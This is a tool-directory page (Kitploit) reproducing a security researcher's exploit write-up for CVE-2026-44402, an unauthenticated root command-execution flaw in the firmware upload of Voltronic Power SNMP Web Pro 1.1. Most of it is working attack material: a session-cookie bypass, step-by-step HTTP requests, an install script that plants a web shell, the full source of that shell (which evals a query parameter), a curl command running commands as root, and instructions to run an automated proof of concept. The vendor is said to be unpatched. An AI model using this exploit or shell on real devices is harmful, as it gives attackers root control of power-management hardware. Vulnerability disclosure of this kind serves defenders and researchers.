Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44402 — Pre-Authenticated Full Root Remote Command Execution in Voltronic Power SNMP Web Pro 1.1 | Kitploit
Tools/GitHubGitHub/virgula0/cve-2026-44402
Embedded Systems SecurityIoT SecurityExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingPayload Development
GitHubvirgula0/cve-2026-44402

CVE-2026-44402

Pre-Authenticated Full Root Remote Command Execution in Voltronic Power SNMP Web Pro 1.1

View Repository
11029 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44402

Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1

Content

  • Affected Vendor: https://voltronicpower.com/
  • Affected product: SNMP Web pro 1.1

SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi endpoint. The firmware update functionality lets users upload a tar archive, which is then extracted and installed without any input validation or security checks. The application fails to restrict or sanitize the archive contents, so an attacker can upload a crafted archive containing malicious CGI scripts. With a bit of trial and error - and a lot of help from the information each response leaks - it is possible to work out the exact archive format expected and craft a malicious one.

Additionally, the endpoint does not properly validate authentication: supplying a manipulated or invalid session cookie is enough to bypass the access controls and reach the vulnerable functionality without valid credentials, even though the front-end clearly demands a login to use it.

Successful exploitation allows an attacker to place arbitrary executable files inside the CGI server directory and execute commands with root privileges.

Run the POC

root@kitploit:~
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py

Writeup

All of the following was done against a local instance (http://localhost:5555). Two things make this whole exercise trivial from the start:

  1. The backend never validates the session. A single Cookie: -http-session-=NOT_VALID header is all we need for every request - the sid query parameter is a random value generated by the front-end JavaScript and is equally ignored by the server.
  2. Error messages are echoed straight back into the HTTP response body. The plan: poke the endpoint, read what it complains about, and give it exactly what it wants - until what it wants is our shell.

The steps below follow that loop. Requests are trimmed down to the minimum headers the server actually cares about.

Step 1 - Recon: the extract call reveals its hand

The very first request already tells us where the server expects the firmware archive to live. Note that params=extract is asking the CGI to extract an archive, not to receive one: nothing has been uploaded yet, the endpoint simply tries to unpack whatever it expects to find on disk.

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID

Response:

root@kitploit:~
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124

tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8

upgrade=extract
(NAK

The body is gold. Besides the (NAK (negative acknowledgement) telling us the operation failed, the raw output of the tar binary is embedded verbatim in the response: it is trying to extract /root/upgrade.tar.gz. Also note the target install path /root - we are talking to a privileged process.

Two facts for the exploitation plan:

  • Whatever file we upload gets renamed to upgrade.tar.gz and dropped into /root. Our filename does not matter.
  • The error text we just saw will show up again on every failed attempt - it is our cheat sheet.

Step 2 - Upload and extract a harmless archive

First, create a dummy tar archive (the upload is a multipart POST; its trace is not interesting - the GET calls drive all the behaviour):

root@kitploit:~
tar czvf test.tar.gz test.txt
test.txt

Start the cycle: upload the archive, then extract it:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=extract
(ACK

(ACK - the extraction went through without complaint. The cycle (upload -> extract -> install) is the shape of this whole exploit; from here on only the install step changes, so the next traces only show the request line and the response body (headers stay identical to the ones above).

Step 3 - Install is picky: it wants a folder named upgrade

Extraction works, time to install. The response expectedly differs:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63

upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*

(ACK again, but the leftovers of a shell command leak through: cd: line 1: can't cd to /root/upgrade*. The installer runs arbitrary shell - it tries to cd into a glob expanding to a folder named upgrade inside the extracted archive. Our innocent flat archive (test.txt at the root) does not satisfy the glob. Easy fix: repackage with a top-level upgrade/ directory.

root@kitploit:~
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt

Then repeat the first two steps of the cycle: re-upload, re-extract.

Step 4 - One more error to squeeze: now it wants install.sh

Same install call again, and the leak gets even better:

root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65

upgrade=install
(ACKchmod: install.sh: No such file or directory

It chmods a script called install.sh - meaning the install procedure executes a shell script from the archive, as root. At this point we control every file of the archive, so we control that script. This is the entire vulnerability in one line: arbitrary files, executed with root privileges, with no authentication.

Step 5 - Ship the CGI shell

Build install.sh and pwned.cgi inside the upgrade/ directory (both files are also bundled in the upgrade/ folder of this repository).

install.sh unpacks the physical layout so our script is dropped into the web-root CGI directory, then fixes permissions:

root@kitploit:~
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)

# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt

# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi

# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi

pwned.cgi is a minimal command-dispatcher CGI: it takes the cmd query parameter, URL-decodes it and feeds it to eval. That is the remote shell:

root@kitploit:~
cat upgrade/pwned.cgi
#!/bin/sh

echo "Content-Type: text/plain"
echo ""

# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"

# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')

# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')

if [ -z "$CMD" ]; then
    echo "No cmd parameter provided."
    exit 0
fi

# Execute the command and return its output
eval "$CMD" 2>&1

Repackage the archive:

root@kitploit:~
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi

And run the full cycle one last time:

  • Re-upload
  • Re-extract
  • Re-install:
root@kitploit:~
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
root@kitploit:~
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=install
(ACK

A clean (ACK with no leaked error this time: the installer ran our script without complaining, and pwned.cgi should now be sitting in the CGI directory. A plain whoami confirms (quote the URL - ; is a shell separator, and the CGI parser chokes on it) :

root@kitploit:~
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root@kitploit:~
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux

Root, on the device's ARM Linux. From zero credentials to a root shell, the whole trip took only the two leaks above and a tar archive.

Affected version

image

Patch availble?

No, vendor did not provided an answer yet. Use an ngnix reverse proxy with authentication to protect the target.

Automation

poc.py automates the manual cycle 1:1. create_in_memory_tar_archive() builds the archive from Step 5 in memory (install.sh + a POST-based variant of pwned.cgi), then upload_archive(), extract_firmware() and install_firmware() replay Steps 2-4, verify_exploit_uploaded() waits for the CGI to appear, and spawn_non_interactive_shell() drops you into a >>> prompt whose commands are base64-encoded and POSTed to pwned.cgi.

Video

Watch the video

Download Tool